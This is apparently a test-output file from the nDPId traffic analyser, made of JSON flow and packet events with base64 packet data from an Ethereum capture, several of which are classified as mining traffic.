+00603{"flow_id":52,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1557,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":751198,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGQd7AqAG4ikurvt1Rdl8erUfRBnX8lYAYEBv9DQAAAQEICiLYmLCkAfwb977E\/ObWYhuqDmyfPgIPwuTmOBezAwvI5cp\/JEum7h5HFcXkmQuscOgcYwoP3pghW0t+Prm\/B8dpBXtVhybDWgUcizbPQrfaHmSDkR9NePwPwpWQOEuKKTKPp5daoVMw3wihmo6gc+IRk8r8HiVFKnnBeU3eKqpy8c\/xqg=="} +00432{"flow_id":52,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1558,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":751220,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGQlfAqAG4ikurvt1Rdl8erUhNBnX8lYAYEBvg0AAAAQEICiLYmLCkAfwbYv8R"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1566,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1578508365751,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.235.37.216","src_port":56675,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1566,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":751805,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGLpXAqAG4I+sl2N1jdl9d8bObAAAAALAC\/\/8KAAAAAgQFtAEDAwUBAQgKItiYsQAAAAAEAgAA"} +00440{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1567,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":752998,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAAC4GqJFOL5ObwKgBuHZf3WHPYyPBMSmbmaAScSA0jAAAAgQFrAQCCApPJ9\/rItiYjAEDAwc="} +00428{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1568,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":753063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGlpnAqAG4Ti+Tm91hdl8xKZuZz2MjwoAQECzEHgAAAQEICiLYmLJPJ9\/r"} +01198{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1569,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":754605,"pkt_caplen":633,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":633,"pkt_l4_len":599,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJrAABAAEAGlGLAqAG4Ti+Tm91hdl8xKZuZz2MjwoAYECxJTAAAAQEICiLYmLNPJ9\/rAjUEaxC968g2R\/UCKOkAMZOG2GOOWkhEE4hBMPwWXGSryh5laEOY1kWT5ispkEnM\/49AUGIIZuJkqD2akSiX\/XVah9j1CHxvoQXnNWCiYfCGLvgMMQzSq2sHb3uVyYKm6ZIChx3IU71KwVaUjNwWUK5WEKS69CEDFdEB33CJ8ZVANf1A7J2459ZkzZUYmuWuESN6qwVAnAnkW57zzCZJ6tekLSrTgxSufEuRo3rLg6y2SWrXZHsMfm8NWC\/coOdUr+hoUV\/5a6o1UoK9kWAk77KyyfipxirR8r7OAjT3q2Stt\/WbpSPWcYV2qqS9Bm4nw5FL48cIcqcdiLPSIb9dEYxC38Z6TP+rtTho8YMsg5GKttdHQR2UgIeOQIgGdeiEqpNL79eaB95gl4RjhykkyaZTqPIP1c1y7eskq6OXasaM5vYH3ha952yxGXLJ8kk\/2FJx8uYrmBx1LLHCx11u5jQNtKtpl6P3LlY88u9lsBi8XGN9pRwXfdB8uUsqhG6qxr4\/YzujpZDRhIcmXTfuFAoCyZ868l0pneYeWhzm8aVdXGngXPpPjlIlA+fh1Dr\/mlSIjt3dwk7D6Hc0GdedJcfKJqZNzCWgifQSHPMms2eXsh03tI85ZIV0zZZIkF1s1LTorhEXICW6oYC9SAvhr5ELvUJ9Gp\/pI3HsEx1stHXgNgeDS+ZTDCNpCRfRNLsSY6c722ZAI0Q6tM+xt1LeuTTvyJ+2D8LSRE2JV7ipflk\/HQZyYEle"} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1569,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":4,"flow_first_seen":1578508365712,"flow_last_seen":1578508365754,"flow_tot_l4_data_len":715,"flow_min_l4_data_len":32,"flow_max_l4_data_len":599,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"78.47.147.155","src_port":56673,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00440{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1581,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":776923,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADsGM5kj6yXYwKgBuHZf3WOqScTQXfGznKAS\/ohykQAAAgQFrAQCCAo1IQWkItiYsQEDAwc="} +00427{"flow_id":66,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1582,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":777046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGLqHAqAG4I+sl2N1jdl9d8bOcqknE0YAQECyPmwAAAQEICiLYmMg1IQWk"} +01154{"flow_id":66,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1583,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":778282,"pkt_caplen":596,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":596,"pkt_l4_len":562,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJGAABAAEAGLI\/AqAG4I+sl2N1jdl9d8bOcqknE0YAYECw8GwAAAQEICiLYmMk1IQWkAhAE9LX9UDkdTQbLSSKVf\/o+Rbx+cVd78lZfof4WIy1rhMxz3RbpZOK+P94lXMknoMtxJdJQ4A7\/BT3XtB0RN9sUSmjLER26V8aOZ0XKqPmaES\/WPIEFoA6jFEgWSAEtlrcyP2PAwHXqAL3AbQbWGq7PeHB6kv65feTwOi0ydjhJegpyNynyq5tDvSCMsfS2rYkVvUQJGHAU1XK9mqnysHXV8shlebGWRPpI98y1Vxgu0az+7R+egzxR+1BHJN63c+WI9rT8DdcDeJ8KCs1sdnHfcQSyErvf77ZnV\/JsK35u87tFZIhBtc0ha+H7KMsboUnC9ei0iN\/8IUhS5l6devCaEtiowIFyVnWsdGX93DG2McymFU2OUXkEXXRwh3MXWAL1FOfL\/pAsIA1JMiQr\/1EwZ08w6Lj\/yH5r5mTzwJpNcgmyuo44bG5DTYaRB4B9LALur1c8OhYSmtc1hVX8t3t\/iblrMzQiGxF+F\/NAYKQqo\/hrfLdv2S4at4Q1Bcj+GaRaNOwVK2GzfBQ3qBzh0uXtO7lSIzfWd4Ic6VPqTqFQj0\/zWxTGfIn0j3loyEBQRx4YDTqeVkXtu7Is\/9MIlC0FYIpCog73jaUasZzRlH0g\/phdSxjBoehWKT1sYQjp8X9ya0ttTiK9+LoRf4iQjvixkpPAseX9BpmombBDue+eKW\/A5eOEFZroFm1HsfbstLY="} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1583,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":4,"flow_first_seen":1578508365751,"flow_last_seen":1578508365778,"flow_tot_l4_data_len":678,"flow_min_l4_data_len":32,"flow_max_l4_data_len":562,"flow_avg_l4_data_len":169,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.235.37.216","src_port":56675,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00628{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1586,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":781990,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHjqoAAEARyLjAqAG40WGPAXZfw1AAs7BF2l5Lj\/FNPSwNskN7KXHg69sINFX5NaCleeEwgXwmONn61xupKUye1QOfHD1DMyDw8Rv4bxSGME4AJ9XC7q+0Pwz+NqNAUtNYGL1TDF+F5wROIhyoide5OcgIFnuRD6baAQP4R7hAggEUSZWpWZm0YK3HCqZiBR7sHJ3wp8USPzyX73HGoWVqts4UjRd8TfDxZuCIPe7jI\/CXMWJB7l7pTCCyfJvg8YReFiBh"} +00428{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1615,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":785326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0bUpAADIGjaSLov\/SwKgBuHZf3WDeocLjwf0ACIAQAfsspAAAAQEICuObo90i2Jir"} +00919{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1616,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":786372,"pkt_caplen":422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":422,"pkt_l4_len":388,"pkt":"KDc3AG3IEBMx8Tl2CABFAAGYbUtAADIGjD+Lov\/SwKgBuHZf3WDeocLjwf0ACIAYAfuP7gAAAQEICuObo98i2JirAWIEKyQ7BcAfOyYrN7gPqSvnbne1ZAdjaA7FHyazUIU+faeI7qWkewj+qXxZOJ9iPet+u0+XUOEkGF\/vTBzVaFrHnRPwwRLB6YfWcwrqgpWcyAph9VdH0KpBygaJLTimCpE\/xHgFEXbI0\/164yhOd2npMJGBXzBm+sK7bQZEZSd0lZiaQKT6gQ4gKygTWWyZQb+hFNGP+NY4TO5Bd5iKAwS2l1V\/zlX1Mxe84dAl3uSmUTU5eW+3zayW81o08lvMYblEUMOE5q2hJevddzzCpAKCbBplbMzf\/gCaiRvO14LX\/AQItUYJm6F3jCUsVIS\/pN+i3N011o5qDFyGswU7HNpxmpLySU62Wba8t\/hRm\/zC9D+0f6IHuxoEUgmzXIxuiUiywOheoU84Detr5vLBcJdDiBHnbioLF\/FsOXB0Cu\/\/MFquv10zNTKL3yMEpz1vxIzYZmMHT+P8qhJmJmORkqjd1B0="} +00431{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1617,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":786421,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7O7AqAG4i6L\/0t1gdl\/B\/QAI3qHER4AQECAc9QAAAQEICiLYmM\/jm6Pf"} +00474{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1618,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":786576,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUbUxAADIGjYKLov\/SwKgBuHZf3WDeocRHwf0ACIAYAfuoZgAAAQEICuObo98i2Jir3xXwQkNdpmNp4zgFuV1Wb9lb6g8eD4\/RKI9h1\/c6JPI="} +00431{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1619,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":786613,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7O7AqAG4i6L\/0t1gdl\/B\/QAI3qHEZ4AQEB8c1gAAAQEICiLYmM\/jm6Pf"} +00454{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1620,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":786939,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEbU1AADIGjZGLov\/SwKgBuHZf3WDeocRnwf0ACIAYAfslOgAAAQEICuObo98i2JirPuGcPzRl2U\/AFrNaiZQf8A=="} +00432{"flow_id":63,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1621,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":786969,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7O7AqAG4i6L\/0t1gdl\/B\/QAI3qHEd4AQEB8cxgAAAQEICiLYmM\/jm6Pf"} +00453{"flow_id":63,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1622,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":787308,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEbU5AADIGjZCLov\/SwKgBuHZf3WDeocR3wf0ACIAZAft8WQAAAQEICuObo98i2JirjKbVT1bFtf2JeZd3eFWmmw=="} +00432{"flow_id":63,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1623,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":787337,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7O7AqAG4i6L\/0t1gdl\/B\/QAI3qHEiIAQEB4ctgAAAQEICiLYmM\/jm6Pf"} +00475{"flow_id":63,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1624,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":787542,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAG7M7AqAG4i6L\/0t1gdl\/B\/QAI3qHEiIAYEB4e3gAAAQEICiLYmNDjm6Pf3xWOQkNdpmNp4zgFuV1Wb+UdpZAvY04AxwHQzzHfIx0="} +00435{"flow_id":63,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1625,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":787565,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAG7O3AqAG4i6L\/0t1gdl\/B\/QAo3qHEiIAYEB5diwAAAQEICiLYmNDjm6Pfvw=="} +00594{"flow_id":58,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1635,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":790531,"pkt_caplen":189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":189,"pkt_l4_len":155,"pkt":"KDc3AG3IEBMx8Tl2CABFAACvhghAAC4RWa+3gfKkwKgBuAQAdl8Am4d5FgHfIftbEdGemWX9uJ16FA6k+WVbnPu2Id92nOmvNTMzJsYZhuKpgOg2BWLs9gpXt9MYEHTb4XRrvJpY9bxU7gk6CGcHLVmx9130TYh4XRLkOZ66VYrf8Hdp9jo5nr33AALwyYS3gfKkggQAgKA6kYFaNN4mivY4dMV0iQl8dqc3C6xPtn5fpmExxxSkRoReFiBh"} +00428{"flow_id":64,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1636,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":793904,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0MZBAAC4GdwlOL5ObwKgBuHZf3WHPYyPCMSmd0IAQAOzQ\/AAAAQEICk8n4BUi2Jiz"} +00427{"flow_id":66,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1637,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":802339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0ZFVAADsGz0sj6yXYwKgBuHZf3WOqScTRXfG1roAQAfmboQAAAQEICjUhBb4i2JjJ"} +00906{"flow_id":66,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1638,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":803585,"pkt_caplen":420,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":420,"pkt_l4_len":386,"pkt":"KDc3AG3IEBMx8Tl2CABFAAGWZFZAADsGzegj6yXYwKgBuHZf3WOqScTRXfG1roAYAfm+7wAAAQEICjUhBb8i2JjJAWAE79Ngvh+u44nSPwDYYxcNM2eIUpo4JB\/LZV\/3Sobfu79lW2Vf4mgr9E9E+bhNTIiEni4zksurGKCpalNEw5oys2acFAgo8T5ySQWSa8bWTuVIHRugm0yMJUJ8Zeh41yV1NtgcZxquRrb4WbgS9e+kaKQ6KtmrG3b2McCfZTCFg33WKXE5yNHkTZgmBuvQXfTyD5ZO1lPnUYeIxp8VZctw40EjSvQhBirRwCO1Tfgr4+F9DuWE624hHVL1QA4Bq6ehFZojF4Nku3L4mUzzoco1PonGON\/YU8x0NRM+FYgBRoHuRQnANhLGcnQqlbjeIWfgzBcKZOv5kmQ7mDrwkQsGbmIcALuw1AW8loYsoF9BEwHfV\/vHHm2HBNUT1cwnyBuFDfsWfM2qvPm2atJhNZDEdpN6dmYCGECiSH2BdD+W1vjDKYrPROQ2FtHduUyoUFutrqgV3M0UPhAEaeNfVLdN"} +00428{"flow_id":66,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1639,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":803666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGLqHAqAG4I+sl2N1jdl9d8bWuqknGM4AQECCMAgAAAQEICiLYmN41IQW\/"} +00472{"flow_id":66,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1640,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":804317,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGLoHAqAG4I+sl2N1jdl9d8bWuqknGM4AYECDycAAAAQEICiLYmN41IQW\/sSDndzO5xunIQpnmN9FX6CnA7jE22ovF0AyOLOgy80w="} +00432{"flow_id":66,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1641,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":804328,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGLqDAqAG4I+sl2N1jdl9d8bXOqknGM4AYECAZ2QAAAQEICiLYmN41IQW\/cg=="} +00602{"flow_id":66,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1642,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":804389,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGLiXAqAG4I+sl2N1jdl9d8bXPqknGM4AYECD3vAAAAQEICiLYmN41IQW\/dNNh4mTaufbkhPrNIM6EgZZEDQohpITx2a0zQnfdeWx715LOL1CQhfbubZ6pIYosLDI1+36fIDKvOLxJDwUSwvzstLVkVG5PvD6w8cKg32vcZecPh0xsPZmtWKPcHWEvmzH477Z911CX0IOi2ux16PT\/\/zYKvbv6e6idxw=="} +00433{"flow_id":66,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1643,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":804401,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGLp7AqAG4I+sl2N1jdl9d8bZLqknGM4AYECCKxAAAAQEICiLYmN41IQW\/1pUq"} +00453{"flow_id":66,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1644,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":804453,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGLpHAqAG4I+sl2N1jdl9d8bZOqknGM4AYECA4DQAAAQEICiLYmN41IQW\/uYVQVGaWgADUQilmCSNcAA=="} +00439{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1645,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":813172,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADAG8nVeRDeiwKgBuHZf3WKbomHRWAgB9KAScSDEJQAAAgQFrAQCCAppF+qfItiYqQEDAwc="} +00427{"flow_id":65,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1646,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":813279,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG4n3AqAG4XkQ3ot1idl9YCAH0m6Jh0oAQECxToAAAAQEICiLYmOdpF+qf"} +01172{"flow_id":65,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1647,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":814591,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJXAABAAEAG4FrAqAG4XkQ3ot1idl9YCAH0m6Jh0oAYECwXFAAAAQEICiLYmOhpF+qfAiEE37iLH4Byz5aoVSIRnj\/Qz4MQ9XDR0JF7ApiVzj4ntUnldVXSA4CHeCHd1\/eXkzJccAECqPGKuRQf+rvknIMC\/OtOHBpZCHgdYlh9xfWnJAocRvLEeyW1dproXyl1uvktLucffIdsaa6c2BS4MJCqbTvploXJIsmsceqMipXJUBjWV2VPKdFwMlXfmZKFa6ozHzQWxB+03uQQjwg6EOMavhW8dIPCLc6Tve+wDEsYuXE+toFcJ5mRy97txst\/YhfbJ0JxnhBR3cO\/U15XLrxW1t\/hwZJHJ3LnmJC7I2qsvs3CeFRF71d7Gk1mWoQjydgaczYOZzUBGWMkbo3Vl+DaP5LXHfZZXLYQTaJeBbzOAoGzGm7Lpw0IM1HKyZCRoEZrj7m5bK9AMdgjFnchyiocKfXHcusfs2YQjxWurgaSwEQKFs8T1+3dh+B3oSs8z\/aefWfCbqvwGEibR+7PIAQxZ02KE7954qZAL3mwaPBKfTB3pqiJ8OD59Xx6VcaQParzV50QhNAvZWDrV9Ucawysj+mArBGtpIGa4WspYliUgEOp71y+8bBYopILao4xL16IC1QXd+DAYWY+8iBI2yhSdXEkJrsWtYScV\/EbjYLXSddQ7GAMuZNR54+1d+\/8X2d8i78texnyACB+jGphwMoXatKNJL7gfFnqvN\/CPZi9bvy5kEbRdr0KrRSqX5ZJ8v770NGtGVtZGzmnt7NFMU40Yg=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1647,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":4,"flow_first_seen":1578508365741,"flow_last_seen":1578508365814,"flow_tot_l4_data_len":695,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":173,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"94.68.55.162","src_port":56674,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} 